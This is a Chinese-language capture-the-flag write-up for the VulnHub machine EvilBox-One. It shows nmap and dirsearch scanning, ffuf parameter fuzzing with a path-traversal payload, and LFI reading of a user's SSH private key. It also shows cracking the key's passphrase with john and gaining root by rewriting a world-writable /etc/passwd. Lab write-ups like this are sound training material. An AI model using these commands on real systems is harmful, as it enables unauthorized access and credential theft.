VulnHub打靶记录 —— EvilBox_one
靶机地址:https://www.vulnhub.com/entry/evilbox-one,736/
1、主机发现
nmap -sn 192.168.222.1/24
kali的ip:192.168.229.128
靶机ip:192.168.229.129
2、信息收集
1、对靶机开放的端口,运行服务,操作系统的版本进行探测
nmap -sV -p- -O 192.168.222.129
nmap -sC -p 22,80 192.168.222.129
-sC:运行默认脚本集(等同于 --script=default)。这些脚本会做一些常见的枚举和安全检查(例如抓取 HTTP 标头、检查常见弱点、banner 信息、CERT info 等)。
nmap --script=vuln -p22,80 192.168.222.129
访问80端口,是 apache 的默认页面,没什么可利用的。
扫一下目录:
dirsearch -u http://192.168.222.129 -e*
发现2个目录,robots.txt 看了没什么价值
secret 是空的,接着对 secret 目录进行爆破,dirsearch 默认的字典没扫出来什么东西,使用 seclists 的字典 seclists/Discovery/Web-Content/directory-list-2.3-big.txt
试试
发现了 一个 evil.php
到此信息收集完毕
3、Web渗透
收集到的信息并不多,除了对ssh爆破,只能对evil.php 下手了,evil.php 是个空白页面,可能存在一些参数,我们 fuzz一下 进行参数爆破。
先使用 burp
参数一
参数二
成功跑出
下面再用 ffuf 试一下
参数名使用 SecLists 的字典,参数名我们自己写
value.txt
1
2
3
a
b
c
'
"
,
;
?
/
|
\
%
{
[
../../../../../../../../../../etc/passwd
ffuf -w ./seclists/Discovery/Web-Content//burp-parameter-names.txt:FUZZ -w ./value.txt:ZHI -u http://192.168.222.129/secret/evil.php?FUZZ=ZHI -fs 0
-fs 0:排除响应大小为 0 字节的结果
存在文件包含漏洞(其实也可能是文件读取漏洞,这里略过论证),下面开始尝试利用。
4、文件包含利用
先试试php伪协议
经测试:
远程文件包含失败
php://input 写入一句话木马失败
php://filter/write 写入一句话木马失败
看来只有读的权限了
如:
php://filter/read=convert.base64-encode/resource=../index.html
不过没什么用,因为我们可以直接读取
既然只能读文件那么我们就看看有没有敏感文件
ffuf -w ./seclists/Discovery/Web-Content/quickhits.txt -u http://192.168.222.129/secret/evil.php?command=../../../../../FUZZ -fs 0
只发现这两个文件
在 passwd 文件发现了 mowree 账户
接着看看 mowree 的home文件夹有无敏感文件
ffuf -w ./seclists/Discovery/Web-Content/quickhits.txt -u http://192.168.222.129/secret/evil.php?command=../../../../../home/mowree/FUZZ -fs 0
看到有私钥,那必须登录试试
一般用户的 .ssh 目录下会存在三个文件:
id_rsa : 私钥。
authorized_keys : 认证关键字文件。
id_rsa.pub : 公钥
下载下来
尝试登录:
id_rsa 貌似被加密了,尝试破解
出现这个情况的原因是,在生成公私钥的时候,给私钥又加了一个密码,就好比你用密码保险柜来存储一大堆密码一样,因此,必须破解这个密码。
先格式成 john 能破解的文件
ssh2john id_rsa > id_rsa.hash # 转换私钥为哈希
破解:
john id_rsa.hash /usr/share/wordlists/rockyou.txt
第一次使用 rockyou.txt 需要解压
cd /usr/share/wordlists/sudo gunzip rockyou.txt.gz
得到密钥:unicorn
chmod 600 id_rsa
必须设置 600:
因为SSH 协议有严格的安全校验机制 —— 若私钥文件(id_rsa)的权限过宽(比如允许同组 / 其他用户读取),SSH 会直接拒绝使用该私钥登录(提示 “权限太开放” 错误),因为这存在私钥被窃取的风险。600 权限确保只有文件所有者能访问私钥,是使用 SSH 私钥登录的强制安全要求。
成功登录。
5、提权
crontab -l 查看一下有没有计划任务
sudo -l 查看一下sudo
uname -a 查看一些内核版本
find / -perm /4000 2>/dev/null 查看一下suid
find / -perm /2000 2>/dev/null
find / -writable 2>/dev/null 查找具有写入权限的文件
find / -writable 2>/dev/null | grep -v proc 过滤一下
发现 /etc/passwd
下的文件居然是可写入的
这就好办了,既然我们可以修改这个文件,那我们就可以直接把 root 账户 x
位(密码占位符)替换掉,开始替换root的密码,首先给root账号生成一个密码。
openssl passwd -1 # 生成自定义 hash 密码
vi /etc/passwd
替换 x
直接 su 拿到root 权限